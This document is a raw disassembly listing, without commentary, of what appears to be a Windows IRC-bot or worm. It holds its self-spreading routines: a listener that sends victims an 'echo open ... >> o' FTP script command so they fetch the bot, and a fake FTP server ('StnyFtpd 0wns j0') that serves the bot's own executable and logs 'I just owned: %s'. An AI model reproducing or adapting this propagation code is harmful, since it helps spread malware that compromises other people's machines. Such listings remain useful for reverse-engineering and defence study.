var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 6C0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 27h
mov esi, eax
pop ecx
lea edi, [ebp+var_B0]
rep movsd
xor esi, esi
xor ebx, ebx
inc esi
push 10h
mov [eax+98h], esi
lea eax, [ebp+var_14]
push ebx
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_A4]
call dword_4CDC64 ; ntohs
push ebx
push esi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], ebx
call dword_4CDCE4 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jnz short loc_40F044
cmp [ebp+var_1C], ebx
jnz short loc_40F024
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409982
add esp, 14h
loc_40F024: ; CODE XREF: sub_40EF9D+65j
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
push [ebp+var_AC]
call sub_40B2A3
pop ecx
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_40F044: ; CODE XREF: sub_40EF9D+60j
mov eax, [ebp+var_AC]
push 10h
imul eax, 234h
mov dword_440BA4[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_4CDC90 ; bind
cmp eax, esi
mov ebx, 400h
jnz loc_40F13F
call dword_4CDBF8 ; WSAGetLastError
cmp eax, 2740h
jz short loc_40F0C4
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F0A4
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409982
add esp, 14h
loc_40F0A4: ; CODE XREF: sub_40EF9D+E5j
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
push [ebp+var_AC]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
loc_40F0C4: ; CODE XREF: sub_40EF9D+DEj
push 0FFFEh
push ebx
call sub_418E56
pop ecx
mov dword_4D0A9C, eax
pop ecx
mov [ebp+var_12], ax
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call dword_4CDC90 ; bind
cmp eax, esi
jnz short loc_40F13F
call dword_4CDBF8 ; WSAGetLastError
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F11F
cmp eax, 2740h
jz short loc_40F11F
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409982
add esp, 14h
loc_40F11F: ; CODE XREF: sub_40EF9D+159j
; sub_40EF9D+160j
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
push [ebp+var_AC]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
loc_40F13F: ; CODE XREF: sub_40EF9D+CDj
; sub_40EF9D+14Cj
push 5
push edi
call dword_4CDC8C ; listen
cmp eax, esi
jz loc_40F224
mov [ebp+var_4], 10h
mov esi, offset byte_42A10C
loc_40F15C: ; CODE XREF: sub_40EF9D+1D7j
; sub_40EF9D+227j ...
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_C0]
push eax
push edi
call dword_4CDCF8 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40F15C
cmp [ebp+var_1C], 0
jnz short loc_40F19D
push 0
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409982
add esp, 14h
loc_40F19D: ; CODE XREF: sub_40EF9D+1DDj
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
pop ecx
lea eax, [ebp+var_2C0]
push 0
push 200h
push eax
push [ebp+arg_0]
call dword_4CDC7C ; recv
cmp eax, 0FFFFFFFFh
jz short loc_40F15C
push esi
push esi
push dword_4CD998
push [ebp+var_B0]
call sub_40AB14
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
lea eax, [ebp+var_6C0]
push ebx
push eax
call sub_41C150
add esp, 1Ch
lea eax, [ebp+var_6C0]
push 0
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_6C0]
push eax
push [ebp+arg_0]
call dword_4CDCB4 ; send
cmp eax, 0FFFFFFFFh
jz loc_40F15C
inc dword_4D0AA0
jmp loc_40F15C
; ---------------------------------------------------------------------------
loc_40F224: ; CODE XREF: sub_40EF9D+1ADj
push edi
call dword_4CDCFC ; closesocket
push [ebp+var_AC]
call sub_40B2A3
pop ecx
push 0
call dword_4280CC ; ExitThread
sub_40EF9D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F23F proc near ; DATA XREF: sub_40B945+22Bo
var_A70 = byte ptr -0A70h
var_8E0 = byte ptr -8E0h
var_6E0 = dword ptr -6E0h
var_4C8 = byte ptr -4C8h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_338 = byte ptr -338h
var_2D4 = byte ptr -2D4h
var_2A0 = byte ptr -2A0h
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_138 = byte ptr -138h
var_128 = byte ptr -128h
var_FC = byte ptr -0FCh
var_C8 = byte ptr -0C8h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = dword ptr -38h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A70h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6E0]
inc ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A70]
xor esi, esi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_20], ebx
mov [ebp+var_18], ebx
mov [ebp+var_23C], esi
mov [ebp+var_43C], esi
call dword_4281F4 ; WSAStartup
push esi
push ebx
push 2
call dword_428220 ; socket
mov esi, dword_428214
lea ecx, [ebp+var_28]
push 4
push ecx
mov edi, 0FFFFh
push 4
push edi
push eax
mov [ebp+var_8], eax
call esi ; setsockopt
lea eax, [ebp+var_20]
push 4
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp+var_8]
push edi
call esi ; setsockopt
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push edi
call dword_4281F8 ; ioctlsocket
mov ax, word ptr dword_4CD998
and [ebp+var_38], 0
push eax
mov [ebp+var_3C], 2
call dword_4CDC64 ; ntohs
mov [ebp+var_3A], ax
lea eax, [ebp+var_3C]
push 10h
push eax
push edi
call dword_4281FC ; bind
test eax, eax
jge short loc_40F305
mov eax, ebx
jmp loc_40F838
; ---------------------------------------------------------------------------
loc_40F305: ; CODE XREF: sub_40F23F+BDj
push 0Ah
push edi
call dword_428200 ; listen
mov [ebp+var_23C], ebx
mov ebx, dword_428224
mov [ebp+var_238], edi
mov [ebp+var_4], edi
loc_40F323: ; CODE XREF: sub_40F23F+11Bj
; sub_40F23F+5F1j
push 41h
lea esi, [ebp+var_23C]
pop ecx
lea edi, [ebp+var_43C]
rep movsd
xor edi, edi
lea eax, [ebp+var_43C]
push edi
push edi
push edi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_428228 ; select
cmp eax, 0FFFFFFFFh
jz loc_40F835
cmp [ebp+var_4], edi
mov [ebp+arg_0], edi
jl short loc_40F323
loc_40F35C: ; CODE XREF: sub_40F23F+5EBj
xor esi, esi
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41BD60
push 64h
lea eax, [ebp+var_B0]
push esi
push eax
call sub_41BD60
add esp, 18h
lea eax, [ebp+var_43C]
push eax
push edi
call sub_426FF6 ; __WSAFDIsSet
test eax, eax
jz loc_40F823
cmp edi, [ebp+var_8]
jnz short loc_40F405
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_138]
push eax
push [ebp+var_8]
call dword_428204 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40F823
mov edx, [ebp+var_23C]
xor ecx, ecx
cmp edx, esi
jbe short loc_40F3D7
loc_40F3C9: ; CODE XREF: sub_40F23F+196j
cmp [ebp+ecx*4+var_238], eax
jz short loc_40F3D7
inc ecx
cmp ecx, edx
jb short loc_40F3C9
loc_40F3D7: ; CODE XREF: sub_40F23F+188j
; sub_40F23F+191j
cmp ecx, edx
jnz short loc_40F3ED
cmp edx, 40h
jnb short loc_40F3ED
mov [ebp+ecx*4+var_238], eax
inc [ebp+var_23C]
loc_40F3ED: ; CODE XREF: sub_40F23F+19Aj
; sub_40F23F+19Fj
cmp eax, [ebp+var_4]
jle short loc_40F3F5
mov [ebp+var_4], eax
loc_40F3F5: ; CODE XREF: sub_40F23F+1B1j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_40F823
; ---------------------------------------------------------------------------
loc_40F405: ; CODE XREF: sub_40F23F+158j
push esi
lea eax, [ebp+var_2A0]
push 64h
push eax
push edi
call dword_428218 ; recv
test eax, eax
jg short loc_40F462
mov ecx, [ebp+var_23C]
xor eax, eax
cmp ecx, esi
jbe short loc_40F456
loc_40F426: ; CODE XREF: sub_40F23F+1F3j
cmp [ebp+eax*4+var_238], edi
jz short loc_40F44B
inc eax
cmp eax, ecx
jb short loc_40F426
jmp short loc_40F456
; ---------------------------------------------------------------------------
loc_40F436: ; CODE XREF: sub_40F23F+20Fj
mov ecx, [ebp+eax*4+var_234]
mov [ebp+eax*4+var_238], ecx
mov ecx, [ebp+var_23C]
inc eax
loc_40F44B: ; CODE XREF: sub_40F23F+1EEj
dec ecx
cmp eax, ecx
jb short loc_40F436
dec [ebp+var_23C]
loc_40F456: ; CODE XREF: sub_40F23F+1E5j
; sub_40F23F+1F5j
push edi
call dword_42821C ; closesocket
jmp loc_40F823
; ---------------------------------------------------------------------------
loc_40F462: ; CODE XREF: sub_40F23F+1D9j
lea eax, [ebp+var_338]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2A0]
push offset aSS_0 ; "%s %s"
push eax
call sub_41CE15
lea eax, [ebp+var_B0]
push offset aUser_1 ; "USER"
push eax
call sub_41C840
add esp, 18h
test eax, eax
jnz short loc_40F4A6
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40F80E
; ---------------------------------------------------------------------------
loc_40F4A6: ; CODE XREF: sub_40F23F+258j
lea eax, [ebp+var_B0]
push offset aPass ; "PASS"
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40F4CA
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_40F80E
; ---------------------------------------------------------------------------
loc_40F4CA: ; CODE XREF: sub_40F23F+27Cj
lea eax, [ebp+var_B0]
push offset aSyst ; "SYST"
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40F4EE
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp loc_40F80E
; ---------------------------------------------------------------------------
loc_40F4EE: ; CODE XREF: sub_40F23F+2A0j
lea eax, [ebp+var_B0]
push offset aRest ; "REST"
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40F512
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_40F80E
; ---------------------------------------------------------------------------
loc_40F512: ; CODE XREF: sub_40F23F+2C4j
lea eax, [ebp+var_B0]
push offset off_436454
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40F536
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_40F80E
; ---------------------------------------------------------------------------
loc_40F536: ; CODE XREF: sub_40F23F+2E8j
lea eax, [ebp+var_B0]
push offset aType ; "TYPE"
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40F571
lea eax, [ebp+var_338]
push offset aA_0 ; "A"
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40F571
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40F80E
; ---------------------------------------------------------------------------
loc_40F571: ; CODE XREF: sub_40F23F+30Cj
; sub_40F23F+323j
lea eax, [ebp+var_B0]
push offset aType ; "TYPE"
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40F5AC
lea eax, [ebp+var_338]
push offset aI_0 ; "I"
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40F5AC
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40F80E
; ---------------------------------------------------------------------------
loc_40F5AC: ; CODE XREF: sub_40F23F+347j
; sub_40F23F+35Ej
lea eax, [ebp+var_B0]
push offset aPasv ; "PASV"
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40F5FA
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_128]
rep movsd
push eax
lea eax, [ebp+var_128]
push eax
movsw
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_128]
loc_40F5EA: ; CODE XREF: sub_40F23F+3FAj
push eax
push [ebp+arg_0]
call ebx ; send
mov edi, [ebp+arg_0]
xor esi, esi
jmp loc_40F811
; ---------------------------------------------------------------------------
loc_40F5FA: ; CODE XREF: sub_40F23F+382j
lea eax, [ebp+var_B0]
push offset aList_0 ; "LIST"
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40F63B
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C8]
rep movsd
movsw
push eax
lea eax, [ebp+var_C8]
push eax
movsb
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_C8]
jmp short loc_40F5EA
; ---------------------------------------------------------------------------
loc_40F63B: ; CODE XREF: sub_40F23F+3D0j
lea eax, [ebp+var_B0]
push offset aPort ; "PORT"
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40F70C
lea eax, [ebp+var_2D4]
push eax
lea eax, [ebp+var_FC]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_2A0]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_41CE15
lea eax, [ebp+var_FC]
push eax
call sub_41BF49
mov [ebp+var_C], eax
lea eax, [ebp+var_2D4]
push eax
call sub_41BF49
mov [ebp+arg_0], eax
push 32h
lea eax, [ebp+var_FC]
push esi
push eax
call sub_41BD60
push [ebp+arg_0]
lea eax, [ebp+var_FC]
push [ebp+var_C]
push offset aXX ; "%x%x\n"
push eax
call sub_41C056
add esp, 44h
lea eax, [ebp+var_FC]
push 10h
push esi
push eax
call sub_41C595
mov [ebp+var_C], eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_4C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_41C056
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_40F80E
; ---------------------------------------------------------------------------
loc_40F70C: ; CODE XREF: sub_40F23F+411j
lea eax, [ebp+var_B0]
push offset aRetr ; "RETR"
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40F7EF
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_C]
lea eax, [ebp+var_4C]
push eax
call sub_40F83F
pop ecx
cmp eax, 1
pop ecx
jnz loc_40F7E5
cmp [ebp+var_444], esi
jnz short loc_40F774
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_409982
add esp, 14h
loc_40F774: ; CODE XREF: sub_40F23F+510j
call sub_40F8BC
cmp eax, 1
jnz loc_40F811
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_4C]
push eax
lea eax, [ebp+var_8E0]
push offset aFtpIJustOwnedS ; "[FTP]: I just owned: %s"
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40F7D0
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_409982
add esp, 14h
loc_40F7D0: ; CODE XREF: sub_40F23F+56Cj
lea eax, [ebp+var_8E0]
push eax
call sub_4157A5
inc dword_4D0764
pop ecx
jmp short loc_40F811
; ---------------------------------------------------------------------------
loc_40F7E5: ; CODE XREF: sub_40F23F+504j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40F80E
; ---------------------------------------------------------------------------
loc_40F7EF: ; CODE XREF: sub_40F23F+4E2j
lea eax, [ebp+var_B0]
push offset aQuit ; "QUIT"
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_40F811
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40F80E: ; CODE XREF: sub_40F23F+262j
; sub_40F23F+286j ...
push edi
call ebx ; send
loc_40F811: ; CODE XREF: sub_40F23F+3B6j
; sub_40F23F+53Dj ...
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41BD60
add esp, 0Ch
loc_40F823: ; CODE XREF: sub_40F23F+14Fj
; sub_40F23F+178j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40F35C
jmp loc_40F323
; ---------------------------------------------------------------------------
loc_40F835: ; CODE XREF: sub_40F23F+10Fj
xor eax, eax
inc eax
loc_40F838: ; CODE XREF: sub_40F23F+C1j
pop edi
pop esi
pop ebx
leave
retn 4
sub_40F23F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F83F proc near ; CODE XREF: sub_40F23F+4FAp
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_4281F4 ; WSAStartup
push 0
push 1
push 2
call dword_428220 ; socket
push [ebp+arg_0]
mov dword_4D0AA4, eax
mov [ebp+var_10], 2
call dword_428234 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_42820C ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_4D0AA4
call dword_428210 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40F8B7
push dword_4D0AA4
call dword_42821C ; closesocket
call dword_4281F0 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40F8B7: ; CODE XREF: sub_40F83F+60j
xor eax, eax
inc eax
leave
retn
sub_40F83F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F8BC proc near ; CODE XREF: sub_40F23F:loc_40F774p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_428074 ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset dword_42A06C
push eax
call sub_41BC92
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40F953
test byte ptr [esi+0Ch], 10h
jnz short loc_40F937
push edi
mov edi, 400h
loc_40F8FF: ; CODE XREF: sub_40F8BC+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_41B8EA
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_4D0AA4
call dword_428224 ; send
push 1
call dword_428064 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40F8FF
pop edi
loc_40F937: ; CODE XREF: sub_40F8BC+3Bj
push esi
call sub_41B82B
pop ecx
push dword_4D0AA4
call dword_42821C ; closesocket
call dword_4281F0 ; WSACleanup
xor eax, eax
inc eax
loc_40F953: ; CODE XREF: sub_40F8BC+35j
pop esi
leave
retn
sub_40F8BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F956 proc near ; DATA XREF: sub_401B66+21A0o
; sub_40B945+46Co
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = byte ptr -138h
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41C2F0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
xor ebx, ebx
rep movsd
xor esi, esi
push 10h
inc esi
push ebx
mov [eax+3ACh], esi
lea eax, [ebp+var_24]
push eax
mov [ebp+var_14], esi
call sub_41BD60
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4CDC64 ; ntohs
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CDCE4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_40FD1C
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_440BA4[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CDC90 ; bind
cmp eax, 0FFFFFFFFh
jz loc_40FD1C
push 7FFFFFFFh
push edi
call dword_4CDC8C ; listen
cmp eax, 0FFFFFFFFh
jz loc_40FD1C
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CDD00 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_40FD1C
mov ebx, esi
mov [ebp+var_124], edi
mov [ebp+var_128], ebx
mov [ebp+var_4], edi
loc_40FA2D: ; CODE XREF: sub_40F956+3BCj
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_128]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_4]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CDC4C ; select
cmp eax, 0FFFFFFFFh
jz loc_40FD17
xor edi, edi
mov [ebp+arg_0], edi
loc_40FA63: ; CODE XREF: sub_40F956+3B6j
lea eax, [ebp+var_6F0]
push eax
push edi
call dword_4CDB50 ; __WSAFDIsSet
test eax, eax
jz loc_40FD02
cmp edi, [ebp+var_8]
jnz short loc_40FAE4
lea eax, [ebp+var_C]
mov [ebp+var_C], 10h
push eax
lea eax, [ebp+var_138]
push eax
push [ebp+var_8]
call dword_4CDCF8 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40FD02
xor ecx, ecx
test ebx, ebx
jbe short loc_40FAB6
loc_40FAA8: ; CODE XREF: sub_40F956+15Ej
cmp [ebp+ecx*4+var_124], eax
jz short loc_40FAB6
inc ecx
cmp ecx, ebx
jb short loc_40FAA8
loc_40FAB6: ; CODE XREF: sub_40F956+150j
; sub_40F956+159j
cmp ecx, ebx
jnz short loc_40FAD3
cmp ebx, 40h
jnb short loc_40FAD3
mov [ebp+ecx*4+var_124], eax
mov ebx, [ebp+var_128]
inc ebx
mov [ebp+var_128], ebx
loc_40FAD3: ; CODE XREF: sub_40F956+162j
; sub_40F956+167j
cmp eax, [ebp+var_4]
jbe loc_40FD02
mov [ebp+var_4], eax
jmp loc_40FD02
; ---------------------------------------------------------------------------
loc_40FAE4: ; CODE XREF: sub_40F956+126j
mov esi, 1000h
lea eax, [ebp+var_28F0]
push esi
push 0
push eax
call sub_41BD60
push esi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BD60
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push esi
push eax
push edi
call dword_4CDC7C ; recv
test eax, eax
jg short loc_40FB6B
push edi
call dword_4CDCFC ; closesocket
xor eax, eax
test ebx, ebx
jbe loc_40FD02
loc_40FB30: ; CODE XREF: sub_40F956+1E6j
cmp [ebp+eax*4+var_124], edi
jz short loc_40FB58
inc eax
cmp eax, ebx
jb short loc_40FB30
jmp loc_40FD02
; ---------------------------------------------------------------------------
loc_40FB43: ; CODE XREF: sub_40F956+207j
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_40FB58: ; CODE XREF: sub_40F956+1E1j
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_40FB43
dec ebx
mov [ebp+var_128], ebx
jmp loc_40FD02
; ---------------------------------------------------------------------------
loc_40FB6B: ; CODE XREF: sub_40F956+1C7j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41BD60
lea eax, [ebp+var_28F0]
xor edi, edi
push eax
call sub_41B7B0
add esp, 10h
test eax, eax
jbe loc_40FD02
loc_40FB98: ; CODE XREF: sub_40F956+2F9j
mov al, [ebp+edi+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40FC3E
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_40FC0E
lea eax, [ebp+var_18F0]
push eax
call sub_41B7B0
cmp eax, 5
pop ecx
jbe short loc_40FC0E
mov eax, offset asc_42E0C8 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C0D0
pop ecx
pop ecx
push eax
call sub_41C0D0
pop ecx
pop ecx
push eax
call sub_41C8C4
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41C680
add esp, 10h
jmp short loc_40FC25
; ---------------------------------------------------------------------------
loc_40FC0E: ; CODE XREF: sub_40F956+26Ej
; sub_40F956+280j
lea eax, [ebp+var_18F0]
push offset asc_436514 ; "\r\n"
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_40FC5A
loc_40FC25: ; CODE XREF: sub_40F956+2B6j
push 1000h
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BD60
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40FC3E: ; CODE XREF: sub_40F956+252j
lea eax, [ebp+var_28F0]
inc edi
push eax
inc esi
call sub_41B7B0
cmp edi, eax
pop ecx
jb loc_40FB98
jmp loc_40FD02
; ---------------------------------------------------------------------------
loc_40FC5A: ; CODE XREF: sub_40F956+2CDj
xor eax, eax
test ebx, ebx
jbe short loc_40FC96
loc_40FC60: ; CODE XREF: sub_40F956+319j
mov ecx, [ebp+eax*4+var_124]
cmp ecx, [ebp+arg_0]
jz short loc_40FC88
inc eax
cmp eax, ebx
jb short loc_40FC60
jmp short loc_40FC96
; ---------------------------------------------------------------------------
loc_40FC73: ; CODE XREF: sub_40F956+337j
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_40FC88: ; CODE XREF: sub_40F956+314j
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_40FC73
dec ebx
mov [ebp+var_128], ebx
loc_40FC96: ; CODE XREF: sub_40F956+308j
; sub_40F956+31Bj
lea eax, [ebp+var_360]
push eax
call sub_41B7B0
mov esi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41B7B0
add esi, eax
pop ecx
cmp esi, 104h
pop ecx
jnb short loc_40FCF9
and [ebp+var_10], 0
lea eax, [ebp+var_10]
push eax
push 8004667Eh
push [ebp+arg_0]
call dword_4CDD00 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push [ebp+arg_0]
call sub_40FF08
add esp, 14h
jmp short loc_40FD02
; ---------------------------------------------------------------------------
loc_40FCF9: ; CODE XREF: sub_40F956+364j
push [ebp+arg_0]
call dword_4CDCFC ; closesocket
loc_40FD02: ; CODE XREF: sub_40F956+11Dj
; sub_40F956+146j ...
mov edi, [ebp+arg_0]
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jbe loc_40FA63
jmp loc_40FA2D
; ---------------------------------------------------------------------------
loc_40FD17: ; CODE XREF: sub_40F956+102j
mov edi, [ebp+var_8]
xor ebx, ebx
loc_40FD1C: ; CODE XREF: sub_40F956+6Aj
; sub_40F956+92j ...
call dword_4CDBF8 ; WSAGetLastError
push eax
